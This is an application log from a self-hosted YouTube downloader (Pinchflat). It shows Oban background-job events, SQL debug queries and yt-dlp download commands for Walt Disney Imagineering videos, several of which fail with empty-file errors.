{"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:57:20.113 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:57:50.114 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:00.025 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:58:20.115 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:58:50.116 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:00.026 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:59:20.117 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:59:50.118 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:00:00.027 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:00:20.119 [info] {"source":"oban","duration":1061,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":3} 20:00:50.121 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:00.028 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:01:20.122 [info] {"source":"oban","duration":563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:01:23.123 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/f9/bb/f9bb310f48e0538383341297e87cd1449ba881f07fa9d520215d8334ab60174c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 20:01:23.123 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 20:01:23.124 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":361439372,"event":"job:exception","queue_time":763710,"attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:01:50.123 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:00.029 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:02:20.124 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:02:50.125 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:00.030 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:03:20.127 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:03:50.129 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:00.031 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:04:20.130 [info] {"source":"oban","duration":840,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:04:50.132 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:00.032 [info] {"source":"oban","duration":193,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:05:20.133 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:05:50.135 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:00.033 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:06:20.136 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:06:50.137 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:00.034 [info] {"source":"oban","duration":284,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:07:20.138 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:07:50.139 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:00.035 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:08:20.140 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:08:50.142 [info] {"source":"oban","duration":1180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:00.036 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:09:20.143 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:09:50.144 [info] {"source":"oban","duration":776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:00.037 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:10:20.146 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:49.713 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1775002249713115830,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:10:49.713 [debug] QUERY OK source="media_items" db=0.3ms idle=189.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 20:10:49.713 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:10:49.714 [debug] QUERY OK source="sources" db=0.2ms idle=190.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:10:49.714 [debug] QUERY OK source="media_profiles" db=0.1ms idle=190.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:10:49.715 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 20:10:49.715 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 20:10:49.716 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:10:49.716 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:49.716 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:49.717 [debug] Running yt-dlp command for action: get_downloadable_status 20:10:49.717 [debug] QUERY OK source="settings" db=0.0ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:49.717 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:49.717 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:49.718 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b6/e9/b6e9349ea050998978e18d9f6410273a5cd86dd0f310d3a31764214c22fb7383.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:10:50.147 [info] {"source":"oban","duration":796,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:10:53.208 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/b6/e9/b6e9349ea050998978e18d9f6410273a5cd86dd0f310d3a31764214c22fb7383.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:10:53.208 [debug] Running yt-dlp command for action: download 20:10:53.208 [debug] QUERY OK source="settings" db=0.1ms idle=1684.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:53.209 [debug] QUERY OK source="settings" db=0.0ms idle=1685.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:53.209 [debug] QUERY OK source="settings" db=0.1ms idle=1685.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:10:53.209 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b2/40/b240ff75cfcb95d6d41996523dcbdd6dddb1fc9c209892e37495988e19c54abb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:11:00.038 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:11:20.148 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:11:50.149 [info] {"source":"oban","duration":636,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:00.039 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:12:20.150 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:12:50.151 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:00.040 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:13:20.153 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:13:50.155 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:00.041 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:14:20.156 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:14:50.157 [info] {"source":"oban","duration":852,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:00.042 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:15:20.159 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:50.160 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:15:52.287 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b2/40/b240ff75cfcb95d6d41996523dcbdd6dddb1fc9c209892e37495988e19c54abb.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 20:15:52.287 [error] yt-dlp download error for media item #11511: "ERROR: The downloaded file is empty\n" 20:15:52.287 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11511},"id":1736,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":302574270,"event":"job:exception","queue_time":588696,"attempt":10,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:16:00.043 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:16:20.161 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:16:50.162 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:00.044 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:17:20.164 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:17:50.165 [info] {"source":"oban","duration":717,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:00.045 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 20:18:20.166 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:18:30.237 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1775002710237333068,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 20:18:30.237 [debug] QUERY OK source="media_items" db=0.3ms idle=713.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 20:18:30.238 [info] User scripts lifecyle file either not present or is empty. Skipping. 20:18:30.238 [debug] QUERY OK source="sources" db=0.1ms idle=714.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:18:30.238 [debug] QUERY OK source="media_profiles" db=0.2ms idle=714.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:18:30.239 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 20:18:30.239 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 20:18:30.239 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:18:30.240 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:30.240 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:30.240 [debug] Running yt-dlp command for action: get_downloadable_status 20:18:30.240 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:30.241 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:30.241 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:30.241 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/ba/51ba940c21bd4872303dbe9a7142f6f46019a1490434f5f65f7b2e68ece0b78c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 20:18:35.152 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/ba/51ba940c21bd4872303dbe9a7142f6f46019a1490434f5f65f7b2e68ece0b78c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:18:35.152 [debug] Running yt-dlp command for action: download 20:18:35.153 [debug] QUERY OK source="settings" db=0.1ms idle=1629.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:35.153 [debug] QUERY OK source="settings" db=0.1ms idle=1629.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:35.153 [debug] QUERY OK source="settings" db=0.1ms idle=1629.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:18:35.153 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort 